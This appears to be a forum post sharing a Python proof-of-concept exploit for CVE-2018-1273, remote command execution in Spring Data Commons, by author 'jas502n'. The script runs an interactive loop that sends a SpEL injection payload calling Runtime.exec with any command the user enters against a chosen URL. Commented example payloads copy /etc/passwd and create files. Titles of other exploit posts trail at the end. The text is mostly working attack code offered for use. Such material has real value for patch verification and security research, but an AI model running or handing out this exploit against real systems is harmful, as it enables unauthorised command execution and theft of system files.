POC Spring Data Commons 远程命令执行（CVE-2018-1273）

[Shacker已验证会员]

import requests
import sys


# url = "http://10.10.20.166:8080/account"
print ('''

  ______   ______    ___  ___ ______     ______ ________
 / ___/ | / / __/___|_  |/ _ <  ( _ )___<  /_  /_  /_  /
/ /__ | |/ / _//___/ __// // / / _  /___/ / __/ / //_ <
\___/ |___/___/   /____/\___/_/\___/   /_/____//_/____/
        
                 author: jas502n

     example: http://10.10.20.166:8080/account                                       

''')

def is_vuln(url):
    r = requests.get(url)
    try:
        result = requests.get(url)
        if result.status_code == 405:
            print
            print ("405, May Have a CVE-2018-1273 vulnerability!")
        else:
            print ("Don't have a CVE-2018-1273 vulnerability")
    except Exception as e:
        print(str(e))

def exec_cmd(url,cmd):
    headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",
    'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    'Accept-Language': "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
    'Accept-Encoding': "gzip, deflate",
    'Content-Type': "application/x-www-form-urlencoded",
    'Content-Length': "97",
    'Cookie': "sidebar_collapsed=false",
    'X-Forwarded-For': "127.0.0.2",
    'Connection': "keep-alive",
    'cache-control': "no-cache"
    }
    
    # username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=
    # username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("cp /etc/passwd /tmp")]=test

    payload = "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('%s')]=test" % cmd
    proxies = {"http":"http://127.0.0.1:8080/"}

    response = requests.request("POST", url, data=payload, headers=headers,proxies=proxies)
    try:
        if response.status_code == 500 and "java.lang.String" in response.text:
            print
            print ("CVE-2018-1273 Vulnerability Exit!")
        else:
            print (">>>CVE-2018-1273 Vulnerability No Exit!<<<")
            print ("try: http://10.10.20.166:8080/user")
            print ("try: http://10.10.20.166:8080/account")
    except Exception as e:
        print(str(e))

th = {"url":""}

while True:
    if th.get("url") != "":
        print
        input_cmd = input("Cmd >>: ")
        if input_cmd == "exit":
            exit()
        elif input_cmd == 'set':
            print
            url = input("Set URL: ")
            th['url'] = url
        elif input_cmd == 'Show Url':
            print (th.get("Url"))
        else:
            is_vuln(th.get("url"))
            exec_cmd(th.get("url"),input_cmd)
    else:
        print
        url = input("Set Url: ")
        th["url"] = url

 

POC  Spring Cloud Config Server目录遍历（CVE-2020-5410）

POC  Spring Data Commons